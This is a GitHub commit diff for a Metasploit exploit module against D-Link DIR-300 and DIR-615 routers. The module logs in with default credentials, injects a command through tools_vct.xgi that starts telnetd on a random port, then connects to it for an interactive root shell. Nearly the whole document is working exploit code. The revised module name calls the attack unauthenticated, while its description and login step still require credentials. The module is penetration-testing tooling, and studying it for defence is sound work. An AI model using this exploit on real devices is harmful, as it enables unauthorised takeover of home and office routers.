Skip to content

Commit 23c5f02

Browse files
committed
Land rapid7#2225 - Fix dlink_dir300_exec_telnet
2 parents eac05eb + 178a7b0 commit 23c5f02

File tree

1 file changed

+62
-68
lines changed

1 file changed

+62
-68
lines changed

modules/exploits/linux/http/dlink_dir300_exec_telnet.rb

Lines changed: 62 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -11,19 +11,15 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

1313
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Auxiliary::CommandShell
1514

1615
def initialize(info = {})
1716
super(update_info(info,
18-
'Name' => 'D-Link Devices Authenticated Remote Command Execution',
17+
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
1918
'Description' => %q{
2019
Different D-Link Routers are vulnerable to OS command injection via the web
2120
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
22-
credentials. This module has been tested with the versions DIR-300 rev A v1.05
23-
and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd
24-
service and establish a session over it, the second one runs commands via the CMD
25-
target. There is no wget or tftp client to upload an elf backdoor easily. According
26-
to the vulnerability discoverer, more D-Link devices may affected.
21+
credentials. According to the vulnerability discoverer, more D-Link devices may
22+
be affected.
2723
},
2824
'Author' =>
2925
[
@@ -40,27 +36,21 @@ def initialize(info = {})
4036
],
4137
'DisclosureDate' => 'Apr 22 2013',
4238
'Privileged' => true,
43-
'Platform' => ['linux','unix'],
44-
'Payload' =>
39+
'Platform' => 'unix',
40+
'Arch' => ARCH_CMD,
41+
'Payload' =>
4542
{
46-
'DisableNops' => true,
43+
'Compat' => {
44+
'PayloadType' => 'cmd_interact',
45+
'ConnectionType' => 'find',
46+
},
4747
},
48+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
4849
'Targets' =>
4950
[
50-
[ 'CMD', #all devices
51-
{
52-
'Arch' => ARCH_CMD,
53-
'Platform' => 'unix'
54-
}
55-
],
56-
[ 'Telnet', #all devices - default target
57-
{
58-
'Arch' => ARCH_CMD,
59-
'Platform' => 'unix'
60-
}
61-
],
51+
[ 'Automatic', { } ],
6252
],
63-
'DefaultTarget' => 1
53+
'DefaultTarget' => 0
6454
))
6555

6656
register_options(
@@ -69,6 +59,20 @@ def initialize(info = {})
6959
OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),
7060

7161
], self.class)
62+
63+
register_advanced_options(
64+
[
65+
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
66+
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
67+
], self.class)
68+
end
69+
70+
def tel_timeout
71+
(datastore['TelnetTimeout'] || 10).to_i
72+
end
73+
74+
def banner_timeout
75+
(datastore['TelnetBannerTimeout'] || 25).to_i
7276
end
7377

7478
def exploit
@@ -81,12 +85,7 @@ def exploit
8185
end
8286

8387
test_login(user, pass)
84-
85-
if target.name =~ /CMD/
86-
exploit_cmd
87-
else
88-
exploit_telnet
89-
end
88+
exploit_telnet
9089
end
9190

9291
def test_login(user, pass)
@@ -129,61 +128,38 @@ def test_login(user, pass)
129128
end
130129
end
131130

132-
def exploit_cmd
133-
if not (datastore['CMD'])
134-
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
135-
end
136-
res = request(payload.encoded)
137-
if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/)
138-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
139-
end
140-
141-
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
142-
return
143-
end
144-
145131
def exploit_telnet
146132
telnetport = rand(65535)
147133

148-
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
134+
print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
149135

150136
cmd = "telnetd -p #{telnetport}"
151137

152138
#starting the telnetd gives no response
153139
request(cmd)
154140

155141
begin
142+
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
156143
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
157144

158-
if sock
159-
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
160-
add_socket(sock)
145+
if sock.nil?
146+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
147+
end
148+
149+
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
150+
prompt = negotiate_telnet(sock)
151+
if prompt.nil?
152+
sock.close
153+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
161154
else
162-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
155+
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
163156
end
164157

165-
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
166-
auth_info = {
167-
:host => rhost,
168-
:port => telnetport,
169-
:sname => 'telnet',
170-
:user => "",
171-
:pass => "",
172-
:source_type => "exploit",
173-
:active => true
174-
}
175-
report_auth_info(auth_info)
176-
merge_me = {
177-
'USERPASS_FILE' => nil,
178-
'USER_FILE' => nil,
179-
'PASS_FILE' => nil,
180-
'USERNAME' => nil,
181-
'PASSWORD' => nil
182-
}
183-
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
158+
handler(sock)
184159
rescue
185-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
160+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
186161
end
162+
187163
return
188164
end
189165

@@ -203,7 +179,25 @@ def request(cmd)
203179
})
204180
return res
205181
rescue ::Rex::ConnectionError
206-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
182+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
207183
end
208184
end
185+
186+
# Since there isn't user/password negotiation, just wait until the prompt is there
187+
def negotiate_telnet(sock)
188+
begin
189+
Timeout.timeout(banner_timeout) do
190+
while(true)
191+
data = sock.get_once(-1, tel_timeout)
192+
return nil if not data or data.length == 0
193+
if data =~ /\x23\x20$/
194+
return true
195+
end
196+
end
197+
end
198+
rescue ::Timeout::Error
199+
return nil
200+
end
201+
end
202+
209203
end

0 commit comments

Comments
 (0)